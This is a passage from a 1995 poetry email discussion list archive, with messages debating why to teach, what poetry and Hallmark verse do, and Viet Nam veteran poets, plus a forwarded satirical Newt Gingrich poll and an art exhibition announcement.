> *so why teach? in bronk _the new world_: "We tire of the forms we impose upon space and the restricted identities we secure from them. We tire finally even of the act of imposition itself."*

To which Jeffrey Timmons replied:

Perhaps "teach" is no longer such a good description of the activity I increasingly find myself interested in. I prefer, however inadequately theory

matches practice, a notion of "shared inquiry." I don't feel I have so much that I can "Teach" others--even those with less experience in academic forms of knowing/saying--as much as I feel competent in asking questions and provoking others to ask their own questions. This is only an initial stage of forming positions, of course, but a more productive location than "teaching" or "professing." For me.

So, why teach? If that term covers the sort of activity I've just described than I would have to agree to eric pape's earlier comments to this issue and add only that there seems a responsibility to encourage those younger than ourselves (or less familiar with the ways of the institutions we work within) to take up--in their own way--their own inquiries. There needs to be those individuals who can provide models of something other than the productions of media personalities that pass for such at present. Perhaps there are other reasons--and I'd be more than happy to hear these--but there seems no other real reason to teach than this: giving opportunity.

Jeffrey Timmons

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336. Sheila Murphy
Re: what does it do?
Thu 23 Mar 1995

I keep thinking of the permissible shorthand (code) in place within mass culture. In response to Sandra's thoughts, I'll add a concern that I've watched: people molding their emotions to a set of five or so listed on the multiple choice test implied by, say, country or whatever songs. Learning to feel what the song says. And if a Hallmark card misses, well, why not just adjust a little to the right and then claim/learn to internalize (or whatever verb might be right) THAT emotion. All of this linked to whatever level of empowerment.

This may be ONE of the challenges we face if seeking to share more unusual (relatively speaking) forms of writing. People have no place for it, on account of their having been trained and eventually submitted to a system of simplification which rules out first thoughts and therefore causes blending, shaving, saming (not unlike what happens when construing a "movement").

Well.

Sheila Murphy

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337. Aldon L. Nielsen
Re: Hallmarks and What They Do
Thu 23 Mar 1995

Maybe this will link the "academia" question to the "what does it do" question. Some years ago I was asked to give a talk at the MidWest Modern Language Association. They met that year in Kansas City, which happens to be the world headquarters of Hallmark. There was a panel on the subject of Hallmark verse. The subject of the subject was not mentioned. Greeting card verse offers greetings, plain enough. It also generates sales. (Remember the verse by the side of the road? The micropoetics of Burma Shave?)

I prefer Lenin's question, "What is to be done?" Poetry _can_ do just about anything, except perhaps disappear. Asking a poet what poetry "does" is a bit like spraying cat repellent on a cat.

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338. I.LIGHTMAN
Re: Letter to the Editor (longish): The Panic of Jane Staffo
Thu 23 Mar 1995

Dear Wystan,

Thanks for your friendly and thoughtful response. You're right that I didn't include the poets is my "no-one gives a damn", I was trying to address Alan's remarks about the effect of reviews on *readerships*. In Britain, one seldom gets any reviews at all, and then only hurtful ones, in any bigger funded periodicals, but I don't know one should expect them. Reviewers are hurtful and thoughtless about the poets, just as Alan's letter was hurtful to me as an aquaintance of Jane Stafford, both she and Alan (to my knowledge) were wrong in their character assessments of each other's motives.

On other points, I was in Wellington in the early Nineties, I actually *hate* Plath and Heaney and Lowell myself (which I hoped I'd indicated in my post before, emphasising that Alan and I *both* share the love of similar "currently marginalised" work, as I said), and I would like to see other Wellingtonians and Aucklanders on the list, who weren't themselves a bit nervous of offending the Aucklanders already on the list and thus blowing their publication and reading chances - a problem also in existence for the Apex, G2 poets generation in America. I was hoping to flush them out, at least privately, by my posting.

I hear yours and Tony's optimism for the course - it doesn't match however the detailed accounts I've had of it from a good ten or fifteen people I met who had the potential of being great poetry lovers, of avant-garde work especially; that is to say, the ten or fifteen really exciting minds I met. It's, of course, great that

your course exists, and it does do good. But what I said I still hold by. I mentioned Michele Leggott's work not because I don't know the scene thoroughly - I do - but because she is the poet I have the most hope for in NZ, and yet she has stayed only good, when she could have been brilliant - but perhaps the new book proves me emphatically wrong, and I am stereotypically seeing her on a typical decline. Surely it is *very* important that poets be able to take criticism that is hurtful, that is sometimes designed to ask them to win me over, to be really astounding (by which I don't mean mainstream). It is when feelings get hurt too quickly and without discrimination (on the part of the reviewed as well as the reviewer) that there can be corruption, and nobody can be honest, and that is what I meant.

Very best

Ira

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339. Charles Watts
Poets' addresses
Thu 23 Mar 1995

---

for purposes of notification of the Blaser conference and renewal of old acquaintance i'm hoping to get addresses for Bill Corbett, John Wieners, Charles Boer, Chuck Stein, George Quasha, thanks for any and all help. Billy Little c/o Two Tone House, 5050 Happy Ave, Nowhere, B.C. Canada V0R 1Z0 Charles Watts on the list will forward all messages thanks again, namaste

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340. Steven Howard Shoemaker
what does it do?
Thu 23 Mar 1995

Maria Damon writes:

"I'm interested in this recurring formula, the hallmark-card verse, invoked as anathema to all serious modernist/postmodernist sensibilities. when i ask students to research "micro-poetries," i include greetingcard verse as an example of a micro-poetry. how can these despised, commercial fragments --or the paradigm of poetry-as-therapy, as in psychiatric-ward workshops --be understood in terms of the "cultural work" they perform? rather than dismissing

 them out of hand as trite and derivative, how can we use them to understand, as shoemaker suggests, the multiple "purposes" of poetry.--maria d"

I think you're right, Maria, that this kind of poetry can do useful cultural work. And also right that my schematic formulation risks a too easy dismissal of that work and participates in a history of such dismissals, which have, importantly, often been strongly gendered (e.g. Pound and "Amygism"). But what i was objecting to was not the existence of this kind of poetry or its uses, but the *dominance* of that sort of definition of poetry in mainstream culture. That dominance often precludes "serious" considerations of other sorts of poetry (i guess we shld watch out for too exclusive definitions all along the spectrum). There are, for ex., always some, often many, students who, with the poetry-as-personal-expression in place, initially resist any in-depth consideration of the *form* of the poetry, on the assumption that such considerations are too ingenious, too self-conscious, not-what-the-author-was-thinking- about. It's that sort of reductive approach to poetry that i often find myself needing to work to move beyond by suggesting other goals and possibilities. This movement "beyond" usually involves some intensive "close reading," but a larger sense of other possibilities-for-poetry seems to be necessary for such reading to take place....

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341. Eric M. Gleason

Re: Why Teach? (Jeffrey Timmons)

Thu 23 Mar 1995

I think Jeffrey hit on a key point: good teachers give opportunites to students that they possibly would not have had. Whether it's leading the student towards good (interesting, important, usefull) reading, introducing them to others with similar interests, or going through some form of a shared inquiry, any little bit helps. Especially so when it opens students to new ideas or communities. Without teachers/writers here like Joe Amato and Andy Levy, I would still be a hyperactive, frustrated engineering student attacking my neighbors with my voice and a copy of "Fox in Socks"

Eryque

--

"I was a teenage monkey wrench"

Eryque Gleason

[redacted]

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342. Chris Stroffolino
Re: what does it do?
Thu 23 Mar 1995

It's funny, Sandra (Braman)--unlike your "kung fu friend" (if I may so take liberty)--I tend to get "enormously upset" when a pop song DOES express my most intimate feelings--Yet, despite our "pomo" "sophistication" they DO sometimes....No? Chris S.

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343. Alan Golding
Fwd: Newt poll
Thu 23 Mar 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Just a little something for your communal amusement . . .

----------Original message---------- To: ACGOLD01--ULKYVM Alan C. Golding

From: Tom Byers
Department of English, University of Louisville
Phone: [redacted] or [redacted]. Fax: [redacted].
Subject: Fwd: Newt poll
FYI.

bitnet [redacted]; internet [redacted]
Thomas B. Byers
Department of English/University of Louisville
Louisville KY 40292
*** Forwarding note from ANDY --CMSNAMES 03/23/95 11:03 ***
id 1419; Thu, 23 Mar 95 11:03:53 EST
Thu, 23 Mar 95 11:03:48 EST
via XGATE 3.01.b16C MHS to SMTP Gateway;
Thu, 23 Mar 95 11:02:08 -0500
Date: Thu, 23 Mar 95 10:48:38 -0500
From: "Lakritz, Andrew" <[redacted]>
Organization: USIA
To: [redacted]
Subject: Fwd: Newt poll

Dear Tom: I thought you might have some fun with this thing. Enjoy. love andy

~ * ~
Andrew Lakritz
US Information Agency
Bureau of Educational and Cultural Affairs
Division for the Study of the United States
301 4th Street, SW Room 252
Washington D.C. 20547
[redacted]
[redacted] FAX
~ * ~The following is an e-mail that John Michael Scalzi, II
([redacted]) sent to Newt Gingrich, in the wake of the discovery of his comments on the biological urge of men to "hunt giraffes" and to wallow in ditches "like little piglets":

Dear Mr. Gingrich:

My name is John Scalzi, and I am a columnist for the Fresno Bee in Fresno, California. In the days since the unearthing of your comments about men, women, combat, and the biological drive for men to hunt giraffes, I have taken it upon myself to conduct a poll to see whether that innate giraffe-hunting urge (and the little piglet wallowing urge) is in fact alive and well in the average American male.

While the sample polled is statistically small (50 men, basically whomever was handy at the time) and largely comprised of white, college- educated, gainfully employed males, I nevertheless feel that the information gleaned from this poll will be of some value to someone, somewhere, some time. Perhaps you yourself, should the subject of instinctual giraffe slaughtering come up again. Certainly for me, as it takes up the bulk of my column, to be published this Wednesday, January 25.

Thank you for your time, and happy hunting and/or wallowing, whichever the case may be.

1. Have you ever hunted a giraffe?
Yes: 0%
No: 100%

2. Have you ever had the urge to hunt a giraffe?
Yes:4%
No: 96%

3. Provided the right tools and the time, would you hunt a giraffe?
Yes: 8%
No: 92%

4. If not a giraffe, would you hunt another African savannah animal?
Yes: 20%
No: 80%

5. If you had to hunt an African savannah animal, which of the following would you choose?
a) Zebra: 2%
b) Rhino: 6%
c) Meerkat: 12%
d) Boar: 42%
e) Any creature that appeared in "The Lion King": 36%

6. Do you think giraffe would taste like chicken?
Yes: 38%
No: 62%

7. Might it not make more sense not to hunt giraffe, but rather to set up

giraffe ranches?
Yes: 92%
No: 8%

8. When you see Geoffrey, the Toys 'R' Us giraffe, do you ever get the urge to stick him with a spear?
Yes: 40%
No: 60%

9. Do you expect that Newt Gingrich has ever had the urge to hunt a giraffe? Yes: 74%
No: 26%

10. If Newt Gingrich were to hunt a giraffe, would he use tools, or simply
his own mouth?
Tools: 48%
Mouth: 52%

11. Would you rather hunt a giraffe, or wallow in a ditch like a little piglet? Hunt: 30%
Wallow: 70%

12. Would you generally describe yourself as a little piglet?
Yes: 22%
No: 78%

13. Would you describe Newt Gingrich as a little piglet?
Yes: 54%
No: 46%

14. If you could, would you hunt Newt Gingrich?
Yes: 58%
No: 42%

15. Would Newt Gingrich taste like chicken?
Yes: 18%
No: 82%

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344. **Kali Tal**
Re: what does it do?
Thu 23 Mar 1995

Maria Damon (hey, are you the Maria Damon who wrote "MIAs and the Body Politic?) asks how can

> *the paradigm of poetry-as-therapy, as in psychiatric-ward workshops --be understood in terms of the "cultural work" they perform? rather than dismissing them out of hand as trite and derivative, how can we use them to understand, shoemaker suggests, the multiple "purposes" of poetry.--maria d*

And Ryan Knighton notes:

> *The value of these forms of writing goes beyond, perhaps, poetry. Grice, for example, used psychiatric-ward writings and taped discussions in his research. This research yielded the expansion and adaptation of Kantian maxims to discourse analysis (i.e. the Cooperative Principles of "relevance", "cohesion", "manner", etc...). His findings are very political insofar as they disclose another relationship between power and language (i.e. rights of passage into discursive communities).*

I am preoccupied with these questions, working, as I do, primarily with soldier poets and other authors of what I call "literature of trauma." In my forthcoming book, _Worlds of Hurt: Reading the Literatures of Trauma_ (Cambridge, October 1995), I spend a lot of time making connections between poetry and power, therapy and politics. I've done a lengthy study of the work of poet W.D. Ehrhart (probably almost unknown in this crowd), who is one of the most prolific of the Viet Nam veteran poets and who has also, by his editorial efforts and grand collegiality, made it possible for a generation of Viet Nam veteran poets to flourish. The poetry of these veterans is inseparable from their politics, from their strong antiwar stance, from their rage at stupid death and needless destruction; the best of them match Sassoon and Owen and Jarrell and all the other veteran poets who get so little play these days. The same organization (Vietnam Veterans Against the War) which acted as a catalyst for Viet Nam veteran writing was also the birthplace of veterans' "consciousness-raising" groups--a politicized form of therapy in which the power relation of the

therapist and the veterans was deliberately restructured so that all were equal participants in the process of political growth and concommitant healing. It must be emphasized, though, that the healing was believed to come out of political action and that artistic work was political work. The first anthologies of Viet Nam Veteran writing (_Free Fire Zone_ and _Hearts and Minds_) were published by activist poets as basement editions. _Hearts_ was publshed by First Casualty Press, and all three foundesr are still working as poets and writers today: Wayne Karlin, Basil Paquet and Larry Rottmann.

But the invisibility of these poets in the academy is an interesting problem. Of the Viet Nam vet poets, only John Balaban, Bruce Weigl and Yusef Komunyakaa have received much praise in literary academic circles and these three are probably among the less *activist* of Viet Nam vet poets (though they are all unabashedly antiwar and "political") and (unsurprisingly) more connected to the writing workshop circles. Those few academics familiar with the field, however, are just as likely to value the work of Ehrhart or Gerald McCarthy, Horace Coleman, D.F. Brown, Jan Barry, Basil Paquet, or Leroy Quintana, and/or the related work of Viet Nam vet "cowboy poets" Rod McQueary and Bill Shields. (Did you know that cowboy poetry readings in the west can draw crowds of thousands?) There are a couple of "pop" Viet Nam war poets, like Steve Mason, who have done well on the trade market, but Ehrhart, for example, has a hard time getting publishers for his poetry although the critics who write about Viet Nam war literature write well of him. (For a good summary of this field of poetry, check out Vince Gotera's _Radical Visions_ [Univ of GA Press, 1994].)

I would not, of course, put "Hallmark poetry" and "poetry-as-therapy" in the same class. It's my guess that most poets find the writing of poetry "therapeutic," and that the confessional/testimonial impulse is at the heart of a great deal of the poetry we read. It makes sense to me that some folks who have experienced trauma (like some Viet Nam combat veterans, rape and incest survivors, and Holocaust survivors) have a passionate committment to convey their experience in a potent form--to make, quite literally, world-changing fictions/poems. There is "Hallmark" confessional poetry (in which class I'd put Steve Mason, for example), and then there is the work of skilled craftsmen like Ehrhart or Quintana (who is best known as a "Southwestern/Chicano poet"), which equals in power and beauty the work of any of the "best" poets of the day. Somehow, though, these survivor-poets are rarely fashionable, tend not to be studied in the academy, or anthologized regularly. (Who reads Primo Levi's poetry now?) I'd argue that they're buried specifically because they *are* political, because their work forces us to confront events-in-the-world and allows no retreat, no relief.

Kali

_____

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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345. Tony Green
Re: what does it do?
Thu 23 Mar 1995

Steven, the old old question, F%O^R*M ?? Is that what high art's got, that Hallmark cards ain't? Sandra Braman-Maria Damon-Sheila Murphy are talking about the social uses of song/text: I was enjoying that conversation and hoping they'd go on further, without having to get caught up in chestnuts like The Form (don't we read Best Bets or Turf Digest for the Form?)

While I'm at it, and to go on with the "they who use pop and Hallmark" as against "we who could once use Wallace Stevens but who now have learned to use Gertrude Stein etc etc" -- aren't we talking some social distinctions? Maybe contemporary poetry is for people who've learned to read every other kind of text available (including academic expository prose) and are still looking for kicks.

Where do any of us go in the field: classical- modern classical concert- contemporary jazz-bepop- big band jazz-trad jazz-soul-blues-rock-pop-easy listening-classical-.....? Is the question how many of these can we handle ?

Sandra's martial arts people have got a small range? Sandra has a cultivated large range?

And steady on, where did you get "your" language, Sandra, if it wasn't out of reading texts, texts other than Hallmark Cards? If that is so, where's originality come in?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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346. **Edward Foster**
Re: what does it do?
Thu 23 Mar 1995

---

what should poetry do? should? huh?

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347. **Edward Foster**
Re: Why Teach? (Jeffrey Timmons)
Thu 23 Mar 1995

---

why teach? because you get to talk and think about things you like and maybe find students who like those things, too. that, and cash.

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348. **Gabrielle Welford**
Re: what does it do?
Thu 23 Mar 1995

On Thu, 23 Mar 1995, Edward Foster wrote:

> what should poetry do? should? huh?
>
Yes... I was kind of thinking the same thing. What dis should?

What does poetry do?

A short message from a short person.

Gabrielle

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349. **maria damon**
Re: what does it do?
Thu 23 Mar 1995

---

tony green points out the problems with the "they who use pop and Hallmark" as against "we who could once use Wallace Stevens but who now have learned to use Gertrude Stein etc etc" model of critical inquiry. I agree. I'm uncomfortable with we/theys that imply either monolithic wes & theys or dichotomized wes vs. theys. i love pop songs as i suspect most of the ultra-groovoids on this list do, or have done. "originality" is not the sole purview of modernist poets, though it's their rallying cry. i hesitate to get into this turf here, but i think academic people who are passionate about poetry can only

gain by expanding their embrace of other people's definitions of poetry. Isn't the person who waits anxiously to find out what the pop hits were, or copies greeting card verse into a notebook, just as passionate about poetry as someone who peruses Pound for hours on end to grok his prosodic mastery? --as someone who, until my book came out, thought i was a "cultural studies person" with a private love of poetry and now has a public/professional profile as a "poetry person" with a cultural studies orientation, I feel caught between two discourse communities when previously I didn't personally experience any discontinuity between them. --maria d

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350. **maria damon**

Re: what does it do?

Thu 23 Mar 1995

In message <[redacted]> UB Poetics discussion group
writes:
> (hey, are you the Maria Damon who wrote "MIAs and the Body
> Politic?)
>
> >>how many maria damons can there be, i hope none others yes' i'm she/her; shout out to kali tal, michael bibby and other workers on the viet nam era poetry front, the language and trauma front, and the frontal embrace of beauty pain and the dark beast of the dawning night,
>
> I am preoccupied with these questions, working, as I do, primarily with
> soldier poets and other authors of what I call "literature of trauma." In
> my forthcoming book, _Worlds of Hurt: Reading the Literatures of Trauma_
> (Cambridge, October 1995), I spend a lot of time making connections between
> poetry and power, therapy and politics. I've done a lengthy study of the
> work of poet W.D. Ehrhart (probably almost unknown in this crowd)--
yes, he's a fine and committed poet --
>
> But the invisibility of these poets in the academy is an interesting
> problem.
See Michael Bibby's article on Viet Nam era poetry in College English of a few years ago --as you know he addresses this very problem.
>
> I would not, of course, put "Hallmark poetry" and "poetry-as-therapy" in the
> same class. It's my guess that most poets find the writing of poetry
> "therapeutic," and that the confessional/testimonial impulse is at the heart

> of a great deal of the poetry we read. It makes sense to me that some folks
> who have experienced trauma (like some Viet Nam combat veterans, rape
and
> incest survivors, and Holocaust survivors) have a passionate committment to
> convey their experience in a potent form--to make, quite literally,
> world-changing fictions/poems. There is "Hallmark" confessional poetry (in
> which class I'd put Steve Mason, for example), and then there is the work of
> skilled craftsmen like Ehrhart or Quintana (who is best known as a
> "Southwestern/Chicano poet"), which equals in power and beauty the work of
> any of the "best" poets of the day. Somehow, though, these survivor-poets
> are rarely fashionable, tend not to be studied in the academy, or
> anthologized regularly. (Who reads Primo Levi's poetry now?) I'd argue
> that they're buried specifically because they *are* political, because their
> work forces us to confront events-in-the-world and allows no retreat, no
> relief.

Yes indeed, it's nice to hear a sstrong voice, thank you. I bought primo levi's translated poems just the other day and was only partly sorry, actually. sorry that i had to pay so much for just a few compelling lines.--I'm looking forward to your book coming out --and to bibby's from rutgers up. -bst --maria d
>
>

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351. **Jeffrey Timmons**
Re: Why Teach? (Jeffrey Timmons)
Thu 23 Mar 1995

On Thu, 23 Mar 1995, Edward Foster wrote:

> why teach? because you get to talk and think about things you like and
maybe
find students who like those things, too. that, and cash.

Yeah, sure (and I'll even qualify that...), but the only . . . (dare I say MORAL) reason to teach has nothing to do with self-satisfaction (unless it is derived from the MORAL) or with cash (though that is necessary). Perhaps MORAL is not the right word and I suspect its geneaology. Nevertheless, sometimes we take what we can get. I agree with Edward Foster, but beyond that? Doesn't there need to be that MORAL responsibility to do more than just earn cash. Isn't that what it's about? Please . . . though, I use moral only to suggest the idea. I'd gladly exchange it with another terms. Any ideas?

Jeffrey Timmons

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352. Ryan Knighton
Re: what does it do?
Thu 23 Mar 1995

Tony Green writes:
>
> While I'm at it, and to go on with the "they who use pop and
> Hallmark" as against "we who could once use Wallace Stevens but who now have
> learned to use Gertrude Stein etc etc" -- aren't we talking some
> social distinctions? Maybe contemporary poetry is for people who've
> learned to read every other kind of text available (including
> academic expository prose) and are still looking for kicks.
>

Who but Creeley could write the lines "one and one two three" and call it a poem and have it revered as such? Is not the "sophistication" in this poem the reader's? Maybe, to turn Tony's phrase a bit, contemporary poetry is necessarily for people who've learned to read every other kind of text. This poem occurs because of the weight and pressure of a reader's knowledge of poetry. If it anonymously occurred as a Hallmark ditty, would it resound? (I suppose the occasion being "On your fourth child,or birthday or something...) I guess i'm asking, in my ignorance, could any one else have written this and made it the same? (if we are going to make social distinctions)

Ryan "tad" Knighton

↑ Index

353. Jeffrey Timmons
Re: what does it do?
Thu 23 Mar 1995

On Thu, 23 Mar 1995, maria damon wrote:

> *Isn't the person who*
> *waits anxiously to find out what the pop hits were, or copies greeting card*
> *verse into a notebook, just as passionate about poetry as someone who peruses*
> *Pound for hours on end to grok his prosodic mastery?*

I'd agree here, but also--though the division between high and popular culture is problematic to the extent that it denies any validity to the study/appreciation of the latter--note that there is quite a difference between Hallmark and Pound. Though I'll leave that for others to account for. There are differences, certainly, and I, for one, would not want to obscure those--though I am highly interested

in why it is that someone would find such fascination with Hallmark or whatever. How about the hullabaloo about The Brady Bunch? I mean, why? Because . . . .

Jeffrey Timmons

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354. Lindz Williamson
what does it do? (fwd)
Thu 23 Mar 1995

---------- Forwarded message ----------
Date: Thu, 23 Mar 1995 19:11:28 -0800 (PST)
From: Lindz Williamson <[redacted]>
To: [redacted]
Cc: Lindz Williamson <[redacted]>
Subject: what does it do?

I question the usefulness of asking what should poetry do. Recently in class we were discussing the threatening power of language and poetry was by far the most reckless and endangering of all the genres. Utopian/distopian literature (We, 1984, Handmaid's Tale, The Republic) Recognizes this immediately. Plato points out that in a perfect world there would be no poetry. There would be nothing to challenge and no tortured artist feeling the unquechable desire to express their emotion lyrically. it is during times of repression or upheval that poetry flourishes. Some of the finest examples of the written word have emerged from areas where the mere act of placing pen to paper would sentence the writer to a life of secrecy. An excellent present day example is Cuba, where writers are drooling over donated Ray Brabury paperbacks and the American Lit. display sponsered by the US Embassy. Sources such at this network seem incredibly overwhelming when you realize authors in Cuba hand stitch and bind their works together, often using olf cloth as paper.

I then ask not what does poetry do but why do you feel the need to read or write it?

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355. Jorge Guitart
what does it do?
Fri 24 Mar 1995

At that time in the province of pleasuregiving prosody some people were neurally programmed to dig the referential & some people were neurally

programmed to dig the unreferential. The former tended to use hallmark cards (influenced in part by the fact that hallmark promoted strongly proreferential TV specials) & the latter tended not to send cards or make their own or send blank cards or send referential cards that sounded unreferential ("season's greetings") Some people who were innately predisposed to dig the unreferential became anti-referential after they majored in "english". When they began to notice the strongly referential quality of hallmark they also became anti-pro-referential. & some people who were innately predisposed to dig the referential became strongly anti-anti-referential after majoring in "english". Oh, in the same province there were some people who were innately neutral between reference and unreference. After some of them majored in "english" they began to question why other people who may or may not have majored in "english" valued hallmark card writers over non hallmark writers like gertrude stein or ezra pound, or the other way around.

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356. George Bowering

Re: poetry v the sharp mind

Fri 24 Mar 1995

I am here picking up on a three-day-old item from Tony Green, wherein he asks two questions, onbe after the other. First, how serious was Olson as a historian, and then, how many historians cite him or his views in support. As a person now writing history, but with only a BA in history as any credentials, I would like to suggest that Tony not see his two questions as two ways oif saying the same thing. All thru history we have had serious historians who are not supported or consulted by people who teach history, for example, in a university. In class today (on Susan Howe) I told my students they could do themselves a great favour by reading Olson's _Special View of History_.

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357. Steven Howard Shoemaker

Re: what does it do?

Fri 24 Mar 1995

Tony Green writes:

"Steven, the old old question, F%O^R*M ?? Is that what high art's got, that Hallmark cards ain't? Sandra Braman-Maria Damon-Sheila Murphy are talking about the social uses of song/text: I was enjoying that conversation and hoping they'd go on further, without having to get caught up in chestnuts like The Form (don't we read Best Bets or Turf Digest for the Form?)..."

I hadn't meant to fetishize, uh, F%O^R*M, but mentioned it as one example of what i had a hard time getting students to talk about when they were too in thrall to a poetry=emotion equivalence. That presumed equivalence often seems to carry with an assumption of radical transparency that threatens to make the "words themselves" (whatever exactly that means) invisible, and leaves out all sorts of possibilities for what poetry might do/be/seem/seam/dream...

It's interesting that Sandra Bramn brings in Auden because, even tho' i've never been that into his poetry, i cldn't resist picking up (actually putting on "hold" so it's not right in front of me) for cheap from a used bookstore here a dusty 5 vol set of Poetry in the English Language (or something like that) edited by Auden and Norman Holmes Pearson (I think) & published by Viking in the '50s. I'm not sure that qualifies as a groovy find, BUT ANYWAY I've always found it interesting that everyone always quotes that Auden line "poetry makes nothing happen," but they don't quote the rest:

For poetry makes nothing happen: it survives
In the valley of its saying where executives
Would never want to tamper; it flows south
From ranches of islolation and the busy griefs,
Raw towns that we believe and die in; it survives,
A way of happening, a mouth.

So, speaking of close reading, anyone have any idea what he "meant" by that?

steve shoemaker

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358. **Wystan Curnow**
Re: Why Teach? (Jeffrey Timmons)
Fri 24 Mar 1995

Dear Jeffrey, As perhaps the person who destroyed the best minds of Ira Lightman's generation I am now hesitant of offer an answer to the question. (are you out there,Ira? What can I say?) But for my money yes there has to be I'd say a POLITICAL reason for teaching. Aiming to make people passionate about poetry, or passionate about anything come to that doesn't do it for me. Passionism is too close to consumerism, as is Hallmark poetry. Teaching has to do with the dissemination of ideas, and that includes poetry. Teaching takes place in a culture that is shaped by ideas. The politics comes about through the relation of the ideas taught to the ideas that shape the culture (a student may well bring just those ideas to the class room). Either the teaching of poems confirms the culture, or it resists it in some fashion. Either act is political. My

interest is in the second of the options. How do we distinguish between consumerism and dissemination? Wystan

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359. WILLIAM NORTHCUTT
Re: what does it do?
Fri 24 Mar 1995

Poetry affirmeth roughage. Sour Philip Shidney

↑ Index

360. Mn Center For Book Arts
Re: what does it do?
Fri 24 Mar 1995

Yes those pop songs do sometimes express "our" feelings, Chris & Sandra. I'm not so sure about the Hallmark verse, but I find the discussion of such possibilities and inclusions into personal speech marvelous. I certainly find that my family members (I am child of parents who each had eight or more siblings, leaving an extended family mostly in Oklahoma) use such cards quite seriously, not just as a convenience, and that I am sometimes considered odd for sending blank card with longish notes I have written -- odd but welcome.

I think also we take ourselves too seriously in considering our poetry to be "first thoughts" (Sheila Murphy used this term, perhaps not so intentionally moving from the "first speech" Sandra had proposed). I've always liked Robert Duncan's various assertions that he was a "derivative" poet, taking from a great variety of sources (many of which were also derivative). While the linguistic substance/forms we use may have some chance of being original, the thoughts therein have been thought before, I would imagine, more often than not. I'd probably be just as upset or uplifted if another poet captured my exact feelings as if a pop musician did.

charles alexander

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361. braman sandra
Auden and happening
Fri 24 Mar 1995

Steve Shoemaker -- At 20 I had that entire Auden poem on yeats up on my wall; the year before it had been Gary Snyder's poem about work; perhaps an effort even in the hubris of youth (this now long ago) to seek humility as a goal.... And always took from the Auden the notion that one keeps on doing poetry because

it is a way of being, NOT because it makes something happen... Although even at 20 that was, I confess, colored by acceptance of the notion of Rav Nachman of Bratslav -- the great Hasidic storyteller -- that one never actually knows to whom one is speaking -- one might be answering not the person standing before you, but a question asked by someone else hundreds of years ago....

I like Tony Green's sense that wherever we are on the poetry scale, Hallmark or Olson, we're moving ahead of the language we know, the difference being the range to which the individual has already been exposed.... I think that captures it fairly, without value judgments and in acknowledgment of that entire range as validly poetry....

Sandra Braman

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362. Marshall H. Reese
CONTRACT WITH AMERICA UNDERWEAR
Fri 24 Mar 1995

CONTRACT WITH AMERICA UNDERWEAR DEBUTS!!!

Center for Book Arts
626 Broadway, 5 Fl, New York, NY 10012 [redacted]

Pillars of the Clean Order

on view for one week only:
March 28 through April 4, 1995
OPENING RECEPTION: Wednesday, March 29, 6-8 PM

CENTER FOR BOOK ARTS is proud to present, for one week only, an installation by artists Nora Ligorano and Marshall Reese. The exhibition incorporates recent publications by leading conservatives, as well as the artists' own limited edition version of the Republican's Contract with America. Ligorano/Reese's recontextualized Contract, however, has the tenets of the Contract printed on the seats of men's and women's pure cotton briefs. The face of Newt Gingrich adorns the crotch.

The Ligorano/Reese Contract with America underwear is published in an edition of 120 signed and numbered copies. These special artists' works will be for sale throughout the run of the exhibition. On the opening night of the exhibition, they will be on sale for a special price. After the opening, they can be found at Exit Art's Apartment Store.

The installation at the Center for Book Arts comments on the overabundance of trade books authored by conservatives. Oliver North, Dan Quayle, Pat Robertson, Rush Limbaugh, John Danforth, and Barbara Bush, to name a few,

have all penned major trade publications promoting conservative thought. The gallery space will be dominated by heaps of dirty laundry overflowing from hampers. Rising from the hampers, classical columns will display the recently published books by John Danforth (Resurrection), William Bennett (Book of Virtue), and Oliver North's (One More Mission). On a clothesline strung above the hampers and stretched throughout the gallery will hang Ligorano/Reese's underwear version of the Contract.

There will also be a point of purchase display video highlighting the underwear. The video recycles imagery from Ronald Reagan's 1984 "Morning In America" spots combined with fashion shots of models wearing the underwear.

The Center for Book Arts is located at 626 Broadway, 5th Fl., between Bleecker and Houston. Gallery hours are 10 am - 6 pm, Monday through Friday, and 10 am - 4 pm on Saturdays.

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363. Robert A Harrison
Re> Re: Call for (regular) work
Fri 24 Mar 1995

John Cayley,

In response to your response of my request.

> *Triple sheesh! Talk about dancing in chains. What about a 3.5" format? Even.*

I don't like chains any more than you seem to. Thought it was a reasonable request considering I wanted to have a catalog of the show available soon.

Why don't you send me something in gaseous form? Not too challenging though.

bob harrison

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364. Edward Foster
Re: Why Teach? (Jeffrey Timmons)
Fri 24 Mar 1995

---

has anyone out there looked into the origins/history of the word "responsibility." it's a pernicious term, i think; allows you to run other people's lives (for their own good, of course) without having to admit why. destroys poetry, too, except m. arnold.

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365. Karlyn Y-Mae Koh
Re: Why Teach? (Jeffrey Timmons)
Fri 24 Mar 1995

The question "why teach," for me, begs the question "why learn." A pedagogic practice that only takes into account the shaping of another's (the student's) mind, without the concurrent awareness of power (the teacher's) in a class as well as the willingness (of the teacher) to learn, serves to create institutional clones. That one enters a space with certain assumptions, agendas, positions etc. indeed makes the act of teaching a political one. What is more crucial is whether one teaches to learn, whether one can unlearn the habit of always hearing only what one already understands. On this point, I have to say that I have been a student in Wystan Curnow's now (in)famous course, some years back (team taught, as he pointed out)--and it was marked with an openness not common in many university (poetry) courses. It is the recognition of the power that goes with the privilege of disseminating knowledge, as well as the effort to hear and learn from students (too often seen as blank slates onto which one can inscribe one's cemented ideas) that distinguishes "good" teachers; something I appreciate (as a student--still!) from former teachers like Peter Quartermain, as well as certain profs. here at SFU. Karlyn Koh (long time lurker) Simon Fraser University, Canada

↑ Index

366. Alan Golding
Re: what does it do?
Fri 24 Mar 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Ryan:

"Could any one else have written this and made it the same?" Funny that this formulation should come up in the context of Creeley, who has an essay (if I'm remembering right) called "Was that a real poem or did you make it up yourself?" Shades of Pierre Menard's Quixote.

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367. cris cheek
Why Teach?
Fri 24 Mar 1995

> *has anyone out there looked into the origins/history of the word "responsibility." it's a pernicious term, i think; allows you to run other*

> *people's lives (for their own good, of course) without having to admit why. destroys poetry, too, except m. arnold.*

Ed - respond - from Latin 'respondere' meaning 'promise in return'. The spondere or promise is source of sponsor and spouse. According to my dictionary of origins (Bloomsbury) the notion of 'obligation' survives in the derivative 'responsible'. But i've always liked Duncan's take from 'The Law I Love Is Major Mover':

'Responsibility is to keep
